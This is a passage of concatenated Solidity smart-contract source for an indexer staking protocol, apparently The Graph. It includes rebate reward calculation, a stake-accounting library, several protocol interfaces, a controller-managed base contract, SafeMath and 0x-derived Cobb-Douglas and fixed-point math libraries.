// Calculate the rebate rewards for the indexer
if (pool.fees > 0) {
rebateReward = LibCobbDouglas.cobbDouglas(
pool.fees, // totalRewards
_indexerFees,
pool.fees,
_indexerEffectiveAllocatedStake,
pool.effectiveAllocatedStake,
pool.alphaNumerator,
pool.alphaDenominator
);
// Under NO circumstance we will reward more than total fees in the pool
uint256 _unclaimedFees = pool.fees.sub(pool.claimedRewards);
if (rebateReward > _unclaimedFees) {
rebateReward = _unclaimedFees;
}
}
// Update pool state
pool.unclaimedAllocationsCount -= 1;
pool.claimedRewards = pool.claimedRewards.add(rebateReward);
return rebateReward;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./MathUtils.sol";
/**
* @title A collection of data structures and functions to manage the Indexer Stake state.
* Used for low-level state changes, require() conditions should be evaluated
* at the caller function scope.
*/
library Stakes {
using SafeMath for uint256;
using Stakes for Stakes.Indexer;
struct Indexer {
uint256 tokensStaked; // Tokens on the indexer stake (staked by the indexer)
uint256 tokensAllocated; // Tokens used in allocations
uint256 tokensLocked; // Tokens locked for withdrawal subject to thawing period
uint256 tokensLockedUntil; // Block when locked tokens can be withdrawn
}
/**
* @dev Deposit tokens to the indexer stake.
* @param stake Stake data
* @param _tokens Amount of tokens to deposit
*/
function deposit(Stakes.Indexer storage stake, uint256 _tokens) internal {
stake.tokensStaked = stake.tokensStaked.add(_tokens);
}
/**
* @dev Release tokens from the indexer stake.
* @param stake Stake data
* @param _tokens Amount of tokens to release
*/
function release(Stakes.Indexer storage stake, uint256 _tokens) internal {
stake.tokensStaked = stake.tokensStaked.sub(_tokens);
}
/**
* @dev Allocate tokens from the main stack to a SubgraphDeployment.
* @param stake Stake data
* @param _tokens Amount of tokens to allocate
*/
function allocate(Stakes.Indexer storage stake, uint256 _tokens) internal {
stake.tokensAllocated = stake.tokensAllocated.add(_tokens);
}
/**
* @dev Unallocate tokens from a SubgraphDeployment back to the main stack.
* @param stake Stake data
* @param _tokens Amount of tokens to unallocate
*/
function unallocate(Stakes.Indexer storage stake, uint256 _tokens) internal {
stake.tokensAllocated = stake.tokensAllocated.sub(_tokens);
}
/**
* @dev Lock tokens until a thawing period pass.
* @param stake Stake data
* @param _tokens Amount of tokens to unstake
* @param _period Period in blocks that need to pass before withdrawal
*/
function lockTokens(
Stakes.Indexer storage stake,
uint256 _tokens,
uint256 _period
) internal {
// Take into account period averaging for multiple unstake requests
uint256 lockingPeriod = _period;
if (stake.tokensLocked > 0) {
lockingPeriod = MathUtils.weightedAverage(
MathUtils.diffOrZero(stake.tokensLockedUntil, block.number), // Remaining thawing period
stake.tokensLocked, // Weighted by remaining unstaked tokens
_period, // Thawing period
_tokens // Weighted by new tokens to unstake
);
}
// Update balances
stake.tokensLocked = stake.tokensLocked.add(_tokens);
stake.tokensLockedUntil = block.number.add(lockingPeriod);
}
/**
* @dev Unlock tokens.
* @param stake Stake data
* @param _tokens Amount of tokens to unkock
*/
function unlockTokens(Stakes.Indexer storage stake, uint256 _tokens) internal {
stake.tokensLocked = stake.tokensLocked.sub(_tokens);
if (stake.tokensLocked == 0) {
stake.tokensLockedUntil = 0;
}
}
/**
* @dev Take all tokens out from the locked stake for withdrawal.
* @param stake Stake data
* @return Amount of tokens being withdrawn
*/
function withdrawTokens(Stakes.Indexer storage stake) internal returns (uint256) {
// Calculate tokens that can be released
uint256 tokensToWithdraw = stake.tokensWithdrawable();
if (tokensToWithdraw > 0) {
// Reset locked tokens
stake.unlockTokens(tokensToWithdraw);
// Decrease indexer stake
stake.release(tokensToWithdraw);
}
return tokensToWithdraw;
}
/**
* @dev Return the amount of tokens used in allocations and locked for withdrawal.
* @param stake Stake data
* @return Token amount
*/
function tokensUsed(Stakes.Indexer memory stake) internal pure returns (uint256) {
return stake.tokensAllocated.add(stake.tokensLocked);
}
/**
* @dev Return the amount of tokens staked not considering the ones that are already going
* through the thawing period or are ready for withdrawal. We call it secure stake because
* it is not subject to change by a withdraw call from the indexer.
* @param stake Stake data
* @return Token amount
*/
function tokensSecureStake(Stakes.Indexer memory stake) internal pure returns (uint256) {
return stake.tokensStaked.sub(stake.tokensLocked);
}
/**
* @dev Tokens free balance on the indexer stake that can be used for any purpose.
* Any token that is allocated cannot be used as well as tokens that are going through the
* thawing period or are withdrawable
* Calc: tokensStaked - tokensAllocated - tokensLocked
* @param stake Stake data
* @return Token amount
*/
function tokensAvailable(Stakes.Indexer memory stake) internal pure returns (uint256) {
return stake.tokensAvailableWithDelegation(0);
}
/**
* @dev Tokens free balance on the indexer stake that can be used for allocations.
* This function accepts a parameter for extra delegated capacity that takes into
* account delegated tokens
* @param stake Stake data
* @param _delegatedCapacity Amount of tokens used from delegators to calculate availability
* @return Token amount
*/
function tokensAvailableWithDelegation(Stakes.Indexer memory stake, uint256 _delegatedCapacity)
internal
pure
returns (uint256)
{
uint256 tokensCapacity = stake.tokensStaked.add(_delegatedCapacity);
uint256 _tokensUsed = stake.tokensUsed();
// If more tokens are used than the current capacity, the indexer is overallocated.
// This means the indexer doesn't have available capacity to create new allocations.
// We can reach this state when the indexer has funds allocated and then any
// of these conditions happen:
// - The delegationCapacity ratio is reduced.
// - The indexer stake is slashed.
// - A delegator removes enough stake.
if (_tokensUsed > tokensCapacity) {
// Indexer stake is over allocated: return 0 to avoid stake to be used until
// the overallocation is restored by staking more tokens, unallocating tokens
// or using more delegated funds
return 0;
}
return tokensCapacity.sub(_tokensUsed);
}
/**
* @dev Tokens available for withdrawal after thawing period.
* @param stake Stake data
* @return Token amount
*/
function tokensWithdrawable(Stakes.Indexer memory stake) internal view returns (uint256) {
// No tokens to withdraw before locking period
if (stake.tokensLockedUntil == 0 || block.number < stake.tokensLockedUntil) {
return 0;
}
return stake.tokensLocked;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
interface IGraphProxy {
function admin() external returns (address);
function setAdmin(address _newAdmin) external;
function implementation() external returns (address);
function pendingImplementation() external returns (address);
function upgradeTo(address _newImplementation) external;
function acceptUpgrade() external;
function acceptUpgradeAndCall(bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IGraphToken is IERC20 {
// -- Mint and Burn --
function burn(uint256 amount) external;
function mint(address _to, uint256 _amount) external;
// -- Mint Admin --
function addMinter(address _account) external;
function removeMinter(address _account) external;
function renounceMinter() external;
function isMinter(address _account) external view returns (bool);
// -- Permit --
function permit(
address _owner,
address _spender,
uint256 _value,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IStakingData {
/**
* @dev Allocate GRT tokens for the purpose of serving queries of a subgraph deployment
* An allocation is created in the allocate() function and consumed in claim()
*/
struct Allocation {
address indexer;
bytes32 subgraphDeploymentID;
uint256 tokens; // Tokens allocated to a SubgraphDeployment
uint256 createdAtEpoch; // Epoch when it was created
uint256 closedAtEpoch; // Epoch when it was closed
uint256 collectedFees; // Collected fees for the allocation
uint256 effectiveAllocation; // Effective allocation when closed
uint256 accRewardsPerAllocatedToken; // Snapshot used for reward calc
}
/**
* @dev Represents a request to close an allocation with a specific proof of indexing.
* This is passed when calling closeAllocationMany to define the closing parameters for
* each allocation.
*/
struct CloseAllocationRequest {
address allocationID;
bytes32 poi;
}
// -- Delegation Data --
/**
* @dev Delegation pool information. One per indexer.
*/
struct DelegationPool {
uint32 cooldownBlocks; // Blocks to wait before updating parameters
uint32 indexingRewardCut; // in PPM
uint32 queryFeeCut; // in PPM
uint256 updatedAtBlock; // Block when the pool was last updated
uint256 tokens; // Total tokens as pool reserves
uint256 shares; // Total shares minted in the pool
mapping(address => Delegation) delegators; // Mapping of delegator => Delegation
}
/**
* @dev Individual delegation data of a delegator in a pool.
*/
struct Delegation {
uint256 shares; // Shares owned by a delegator in the pool
uint256 tokensLocked; // Tokens locked for undelegation
uint256 tokensLockedUntil; // Block when locked tokens can be withdrawn
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "./IController.sol";
import "../curation/ICuration.sol";
import "../epochs/IEpochManager.sol";
import "../rewards/IRewardsManager.sol";
import "../staking/IStaking.sol";
import "../token/IGraphToken.sol";
/**
* @title Graph Managed contract
* @dev The Managed contract provides an interface to interact with the Controller.
* It also provides local caching for contract addresses. This mechanism relies on calling the
* public `syncAllContracts()` function whenever a contract changes in the controller.
*
* Inspired by Livepeer:
* https://github.com/livepeer/protocol/blob/streamflow/contracts/Controller.sol
*/
contract Managed {
// -- State --
// Controller that contract is registered with
IController public controller;
mapping(bytes32 => address) private addressCache;
uint256[10] private __gap;
// -- Events --
event ParameterUpdated(string param);
event SetController(address controller);
/**
* @dev Emitted when contract with `nameHash` is synced to `contractAddress`.
*/
event ContractSynced(bytes32 indexed nameHash, address contractAddress);
// -- Modifiers --
function _notPartialPaused() internal view {
require(!controller.paused(), "Paused");
require(!controller.partialPaused(), "Partial-paused");
}
function _notPaused() internal view {
require(!controller.paused(), "Paused");
}
function _onlyGovernor() internal view {
require(msg.sender == controller.getGovernor(), "Caller must be Controller governor");
}
function _onlyController() internal view {
require(msg.sender == address(controller), "Caller must be Controller");
}
modifier notPartialPaused {
_notPartialPaused();
_;
}
modifier notPaused {
_notPaused();
_;
}
// Check if sender is controller.
modifier onlyController() {
_onlyController();
_;
}
// Check if sender is the governor.
modifier onlyGovernor() {
_onlyGovernor();
_;
}
// -- Functions --
/**
* @dev Initialize the controller.
*/
function _initialize(address _controller) internal {
_setController(_controller);
}
/**
* @notice Set Controller. Only callable by current controller.
* @param _controller Controller contract address
*/
function setController(address _controller) external onlyController {
_setController(_controller);
}
/**
* @dev Set controller.
* @param _controller Controller contract address
*/
function _setController(address _controller) internal {
require(_controller != address(0), "Controller must be set");
controller = IController(_controller);
emit SetController(_controller);
}
/**
* @dev Return Curation interface.
* @return Curation contract registered with Controller
*/
function curation() internal view returns (ICuration) {
return ICuration(_resolveContract(keccak256("Curation")));
}
/**
* @dev Return EpochManager interface.
* @return Epoch manager contract registered with Controller
*/
function epochManager() internal view returns (IEpochManager) {
return IEpochManager(_resolveContract(keccak256("EpochManager")));
}
/**
* @dev Return RewardsManager interface.
* @return Rewards manager contract registered with Controller
*/
function rewardsManager() internal view returns (IRewardsManager) {
return IRewardsManager(_resolveContract(keccak256("RewardsManager")));
}
/**
* @dev Return Staking interface.
* @return Staking contract registered with Controller
*/
function staking() internal view returns (IStaking) {
return IStaking(_resolveContract(keccak256("Staking")));
}
/**
* @dev Return GraphToken interface.
* @return Graph token contract registered with Controller
*/
function graphToken() internal view returns (IGraphToken) {
return IGraphToken(_resolveContract(keccak256("GraphToken")));
}
/**
* @dev Resolve a contract address from the cache or the Controller if not found.
* @return Address of the contract
*/
function _resolveContract(bytes32 _nameHash) internal view returns (address) {
address contractAddress = addressCache[_nameHash];
if (contractAddress == address(0)) {
contractAddress = controller.getContractProxy(_nameHash);
}
return contractAddress;
}
/**
* @dev Cache a contract address from the Controller registry.
* @param _name Name of the contract to sync into the cache
*/
function _syncContract(string memory _name) internal {
bytes32 nameHash = keccak256(abi.encodePacked(_name));
address contractAddress = controller.getContractProxy(nameHash);
if (addressCache[nameHash] != contractAddress) {
addressCache[nameHash] = contractAddress;
emit ContractSynced(nameHash, contractAddress);
}
}
/**
* @dev Sync protocol contract addresses from the Controller registry.
* This function will cache all the contracts using the latest addresses
* Anyone can call the function whenever a Proxy contract change in the
* controller to ensure the protocol is using the latest version
*/
function syncAllContracts() external {
_syncContract("Curation");
_syncContract("EpochManager");
_syncContract("RewardsManager");
_syncContract("Staking");
_syncContract("GraphToken");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IController {
function getGovernor() external view returns (address);
// -- Registry --
function setContractProxy(bytes32 _id, address _contractAddress) external;
function unsetContractProxy(bytes32 _id) external;
function updateController(bytes32 _id, address _controller) external;
function getContractProxy(bytes32 _id) external view returns (address);
// -- Pausing --
function setPartialPaused(bool _partialPaused) external;
function setPaused(bool _paused) external;
function setPauseGuardian(address _newPauseGuardian) external;
function paused() external view returns (bool);
function partialPaused() external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "./IGraphCurationToken.sol";
interface ICuration {
// -- Pool --
struct CurationPool {
uint256 tokens; // GRT Tokens stored as reserves for the subgraph deployment
uint32 reserveRatio; // Ratio for the bonding curve
IGraphCurationToken gcs; // Curation token contract for this curation pool
}
// -- Configuration --
function setDefaultReserveRatio(uint32 _defaultReserveRatio) external;
function setMinimumCurationDeposit(uint256 _minimumCurationDeposit) external;
function setCurationTaxPercentage(uint32 _percentage) external;
// -- Curation --
function mint(
bytes32 _subgraphDeploymentID,
uint256 _tokensIn,
uint256 _signalOutMin
) external returns (uint256, uint256);
function burn(
bytes32 _subgraphDeploymentID,
uint256 _signalIn,
uint256 _tokensOutMin
) external returns (uint256);
function collect(bytes32 _subgraphDeploymentID, uint256 _tokens) external;
// -- Getters --
function isCurated(bytes32 _subgraphDeploymentID) external view returns (bool);
function getCuratorSignal(address _curator, bytes32 _subgraphDeploymentID)
external
view
returns (uint256);
function getCurationPoolSignal(bytes32 _subgraphDeploymentID) external view returns (uint256);
function getCurationPoolTokens(bytes32 _subgraphDeploymentID) external view returns (uint256);
function tokensToSignal(bytes32 _subgraphDeploymentID, uint256 _tokensIn)
external
view
returns (uint256, uint256);
function signalToTokens(bytes32 _subgraphDeploymentID, uint256 _signalIn)
external
view
returns (uint256);
function curationTaxPercentage() external view returns (uint32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
interface IEpochManager {
// -- Configuration --
function setEpochLength(uint256 _epochLength) external;
// -- Epochs
function runEpoch() external;
// -- Getters --
function isCurrentEpochRun() external view returns (bool);
function blockNum() external view returns (uint256);
function blockHash(uint256 _block) external view returns (bytes32);
function currentEpoch() external view returns (uint256);
function currentEpochBlock() external view returns (uint256);
function currentEpochBlockSinceStart() external view returns (uint256);
function epochsSince(uint256 _epoch) external view returns (uint256);
function epochsSinceUpdate() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
interface IRewardsManager {
/**
* @dev Stores accumulated rewards and snapshots related to a particular SubgraphDeployment.
*/
struct Subgraph {
uint256 accRewardsForSubgraph;
uint256 accRewardsForSubgraphSnapshot;
uint256 accRewardsPerSignalSnapshot;
uint256 accRewardsPerAllocatedToken;
}
// -- Params --
function setIssuanceRate(uint256 _issuanceRate) external;
// -- Denylist --
function setSubgraphAvailabilityOracle(address _subgraphAvailabilityOracle) external;
function setDenied(bytes32 _subgraphDeploymentID, bool _deny) external;
function setDeniedMany(bytes32[] calldata _subgraphDeploymentID, bool[] calldata _deny)
external;
function isDenied(bytes32 _subgraphDeploymentID) external view returns (bool);
// -- Getters --
function getNewRewardsPerSignal() external view returns (uint256);
function getAccRewardsPerSignal() external view returns (uint256);
function getAccRewardsForSubgraph(bytes32 _subgraphDeploymentID)
external
view
returns (uint256);
function getAccRewardsPerAllocatedToken(bytes32 _subgraphDeploymentID)
external
view
returns (uint256, uint256);
function getRewards(address _allocationID) external view returns (uint256);
// -- Updates --
function updateAccRewardsPerSignal() external returns (uint256);
function takeRewards(address _allocationID) external returns (uint256);
// -- Hooks --
function onSubgraphSignalUpdate(bytes32 _subgraphDeploymentID) external returns (uint256);
function onSubgraphAllocationUpdate(bytes32 _subgraphDeploymentID) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IGraphCurationToken is IERC20 {
function burnFrom(address _account, uint256 _amount) external;
function mint(address _to, uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.3;
pragma experimental ABIEncoderV2;
import "./LibFixedMath.sol";
library LibCobbDouglas {
/// @dev The cobb-douglas function used to compute fee-based rewards for
/// staking pools in a given epoch. This function does not perform
/// bounds checking on the inputs, but the following conditions
/// need to be true:
/// 0 <= fees / totalFees <= 1
/// 0 <= stake / totalStake <= 1
/// 0 <= alphaNumerator / alphaDenominator <= 1
/// @param totalRewards collected over an epoch.
/// @param fees Fees attributed to the the staking pool.
/// @param totalFees Total fees collected across all pools that earned rewards.
/// @param stake Stake attributed to the staking pool.
/// @param totalStake Total stake across all pools that earned rewards.
/// @param alphaNumerator Numerator of `alpha` in the cobb-douglas function.
/// @param alphaDenominator Denominator of `alpha` in the cobb-douglas
/// function.
/// @return rewards Rewards owed to the staking pool.
function cobbDouglas(
uint256 totalRewards,
uint256 fees,
uint256 totalFees,
uint256 stake,
uint256 totalStake,
uint32 alphaNumerator,
uint32 alphaDenominator
) public pure returns (uint256 rewards) {
int256 feeRatio = LibFixedMath.toFixed(fees, totalFees);
int256 stakeRatio = LibFixedMath.toFixed(stake, totalStake);
if (feeRatio == 0 || stakeRatio == 0) {
return rewards = 0;
}
// The cobb-doublas function has the form:
// `totalRewards * feeRatio ^ alpha * stakeRatio ^ (1-alpha)`
// This is equivalent to:
// `totalRewards * stakeRatio * e^(alpha * (ln(feeRatio / stakeRatio)))`
// However, because `ln(x)` has the domain of `0 < x < 1`
// and `exp(x)` has the domain of `x < 0`,
// and fixed-point math easily overflows with multiplication,
// we will choose the following if `stakeRatio > feeRatio`:
// `totalRewards * stakeRatio / e^(alpha * (ln(stakeRatio / feeRatio)))`
// Compute
// `e^(alpha * ln(feeRatio/stakeRatio))` if feeRatio <= stakeRatio
// or
// `e^(alpa * ln(stakeRatio/feeRatio))` if feeRatio > stakeRatio
int256 n = feeRatio <= stakeRatio
? LibFixedMath.div(feeRatio, stakeRatio)
: LibFixedMath.div(stakeRatio, feeRatio);
n = LibFixedMath.exp(
LibFixedMath.mulDiv(
LibFixedMath.ln(n),
int256(alphaNumerator),
int256(alphaDenominator)
)
);
// Compute
// `totalRewards * n` if feeRatio <= stakeRatio
// or
// `totalRewards / n` if stakeRatio > feeRatio
// depending on the choice we made earlier.
n = feeRatio <= stakeRatio
? LibFixedMath.mul(stakeRatio, n)
: LibFixedMath.div(stakeRatio, n);
// Multiply the above with totalRewards.
rewards = LibFixedMath.uintMul(n, totalRewards);
}
}
/*
Copyright 2017 Bprotocol Foundation, 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.3;
// solhint-disable indent
/// @dev Signed, fixed-point, 127-bit precision math library.
library LibFixedMath {
// 1
int256 private constant FIXED_1 = int256(
0x0000000000000000000000000000000080000000000000000000000000000000
);
// 2**255
int256 private constant MIN_FIXED_VAL = int256(
0x8000000000000000000000000000000000000000000000000000000000000000
);
// 1^2 (in fixed-point)
int256 private constant FIXED_1_SQUARED = int256(
0x4000000000000000000000000000000000000000000000000000000000000000
);
// 1
int256 private constant LN_MAX_VAL = FIXED_1;
// e ^ -63.875
int256 private constant LN_MIN_VAL = int256(
0x0000000000000000000000000000000000000000000000000000000733048c5a
);
// 0
int256 private constant EXP_MAX_VAL = 0;
// -63.875
int256 private constant EXP_MIN_VAL = -int256(
0x0000000000000000000000000000001ff0000000000000000000000000000000
);
/// @dev Get one as a fixed-point number.
function one() internal pure returns (int256 f) {
f = FIXED_1;
}
/// @dev Returns the addition of two fixed point numbers, reverting on overflow.
function add(int256 a, int256 b) internal pure returns (int256 c) {
c = _add(a, b);
}
/// @dev Returns the addition of two fixed point numbers, reverting on overflow.
function sub(int256 a, int256 b) internal pure returns (int256 c) {
if (b == MIN_FIXED_VAL) {
revert("out-of-bounds");
}
c = _add(a, -b);
}
/// @dev Returns the multiplication of two fixed point numbers, reverting on overflow.
function mul(int256 a, int256 b) internal pure returns (int256 c) {
c = _mul(a, b) / FIXED_1;
}
/// @dev Returns the division of two fixed point numbers.
function div(int256 a, int256 b) internal pure returns (int256 c) {
c = _div(_mul(a, FIXED_1), b);
}
/// @dev Performs (a * n) / d, without scaling for precision.
function mulDiv(
int256 a,
int256 n,
int256 d
) internal pure returns (int256 c) {
c = _div(_mul(a, n), d);
}
/// @dev Returns the unsigned integer result of multiplying a fixed-point
/// number with an integer, reverting if the multiplication overflows.
/// Negative results are clamped to zero.
function uintMul(int256 f, uint256 u) internal pure returns (uint256) {
if (int256(u) < int256(0)) {
revert("out-of-bounds");
}
int256 c = _mul(f, int256(u));
if (c <= 0) {
return 0;
}
return uint256(uint256(c) >> 127);
}
/// @dev Returns the absolute value of a fixed point number.
function abs(int256 f) internal pure returns (int256 c) {
if (f == MIN_FIXED_VAL) {
revert("out-of-bounds");
}
if (f >= 0) {
c = f;
} else {
c = -f;
}
}
/// @dev Returns 1 / `x`, where `x` is a fixed-point number.
function invert(int256 f) internal pure returns (int256 c) {
c = _div(FIXED_1_SQUARED, f);
}
/// @dev Convert signed `n` / 1 to a fixed-point number.
function toFixed(int256 n) internal pure returns (int256 f) {
f = _mul(n, FIXED_1);
}
/// @dev Convert signed `n` / `d` to a fixed-point number.
function toFixed(int256 n, int256 d) internal pure returns (int256 f) {
f = _div(_mul(n, FIXED_1), d);
}
/// @dev Convert unsigned `n` / 1 to a fixed-point number.
/// Reverts if `n` is too large to fit in a fixed-point number.
function toFixed(uint256 n) internal pure returns (int256 f) {
if (int256(n) < int256(0)) {
revert("out-of-bounds");
}
f = _mul(int256(n), FIXED_1);
}
/// @dev Convert unsigned `n` / `d` to a fixed-point number.
/// Reverts if `n` / `d` is too large to fit in a fixed-point number.
function toFixed(uint256 n, uint256 d) internal pure returns (int256 f) {
if (int256(n) < int256(0)) {
revert("out-of-bounds");
}
if (int256(d) < int256(0)) {
revert("out-of-bounds");
}
f = _div(_mul(int256(n), FIXED_1), int256(d));
}
/// @dev Convert a fixed-point number to an integer.
function toInteger(int256 f) internal pure returns (int256 n) {
return f / FIXED_1;
}
/// @dev Get the natural logarithm of a fixed-point number 0 < `x` <= LN_MAX_VAL
function ln(int256 x) internal pure returns (int256 r) {
if (x > LN_MAX_VAL) {
